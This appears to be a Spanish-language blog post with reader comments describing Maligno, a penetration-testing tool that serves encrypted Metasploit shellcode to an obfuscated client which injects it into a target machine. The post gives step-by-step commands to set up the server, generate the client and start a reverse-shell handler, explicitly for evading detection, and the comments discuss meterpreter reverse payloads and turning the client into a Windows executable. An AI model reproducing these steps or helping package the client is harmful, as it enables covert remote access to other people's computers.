Maligno: un servidor de payloads de Metasploit

En esta ocasión Maligno no tiene que ver con Chema Alonso ;) Se trata de una herramienta de código abierto de la firma Encripto AS para servir payloads de Metasploit en un test de intrusión. Es decir, genera shellcodes con msfvenom y los transmite por HTTP o HTTPS. Eso sí, el shellcode es cifrado con AES y codificado con Base64 antes de enviarse.

Maligno tiene también una parte cliente para descargar el payload de Metasploit cifrado. Una vez que se recibe el shellcode, el cliente lo descodifica, lo descifra y lo inyecta en la máquina objetivo.

Como resultado, obtendremos una sesión de Metasploit evadiendo detecciones...

Para instalarlo echa un vistazo a este vídeo: http://www.youtube.com/watch?v=97A0pXWbz6c o sigue los pasos siguientes:

1.- Instala python-ipcalc (dependencia):

sudo apt-get update && sudo apt-get install python-ipcalc

2.- Descarga y descomprime Maligno:

Maligno v1.1

3.- Genera un certificado auto-firmado con el siguiente script:

./certgen.sh

4.- Configura el servidor Maligno ajustando las opciones en server.conf:

Echa un vistazo al fichero server.conf.explained

5.- Ejecuta el servidor Maligno:

python maligno_srv.py

6.- Genera un cliente:

python clientgen.py -i 0 -f server.conf -o my_client.py

    -i:  Índice del payload (payload especificado en el fichero de configuración del server, empezando desde 0)
    -f: Fichero de configuración del servidor Maligno
    -o: Fichero de salida donde se escribirá el código del cliente

7.- Manejador de Metasploit

Arranca msfconsole con el fichero de recursos generado por Maligno

msfconsole -r reverse_tcp_192.168.0.2_4444.rc

8.- Empieza a conseguir shells!

9 comentarios :

  1. una pregunta cual es el archivo executable que se mete en los pc con windows? osea cual seria el payload?? donde aparece??

    ResponderEliminar
    Respuestas
    1. el payload (un shellcode generado con msfvenom) está en el servidor que tiene instalado el Maligno y no es más que un meterpreter de Metasploit:

      msfpayload = windows/meterpreter/reverse_https, windows/meterpreter/reverse_tcp, windows/meterpreter/reverse_http

      Normalmente opera vía inyección DLL y reside en memoria...

      Eliminar
    2. si pero en el video se deja notar que en el sistema operativo windows tiene un archivo executable el cual cuando lo corre pasa todo lo demas! de donde saco ese archivo ! a eso voy yo! nose si se entiende!

      Eliminar
    3. ¿te refieres a los iconos del escritorio?
      tiene pinta de ser el cliente generado con clientgen.py:

      =================================================================
      | Maligno clientgen v1.1: Maligno client generator |
      | by Juan J. Guelfo, Encripto AS (post@encripto.no) |
      =================================================================

      [*] Reading server configuration file...
      [*] Reading client template...
      [*] Generating client code...
      [*] Obfuscating client code...
      [*] Writing client code to file...
      [*] Finished!

      Eliminar
    4. python clientgen.py -i 0 -f server.conf -o my_client.py

      Eliminar
    5. donde queda el cliente? si lo genere? pero no es exe? donde aparece el cliente para ejecutarlo en windows? solo me aparece my_client.py en python pero no en exe!! se entiende??

      Eliminar
    6. el cliente de Maligno generado es un script en Python (que conecta con el servidor web). Si quieres el ejecutable de toda la vida usa Py2Exe...

      Eliminar
    7. gracias igual pro la respuesta pero no me sirvio lleve el cliente en python lo quize transformar a exe con py2exe y me sale error dice q esta cifrado , me sale esto Traceback (most recent call last):
      File "executable.py", line 32, in
      from Crypto.Cipher import AES
      ImportError: No module named Crypto.Cipher
      cuando quise pasarlo a exe! tu lo hiciste? pudiste hacerlo? Saludos

      Eliminar
    8. xd parece que te falta el módulo que te indica. Prueba (según distro):

      easy_install pycrypto
      pip install pycrypto
      yum install pycrypto

      Eliminar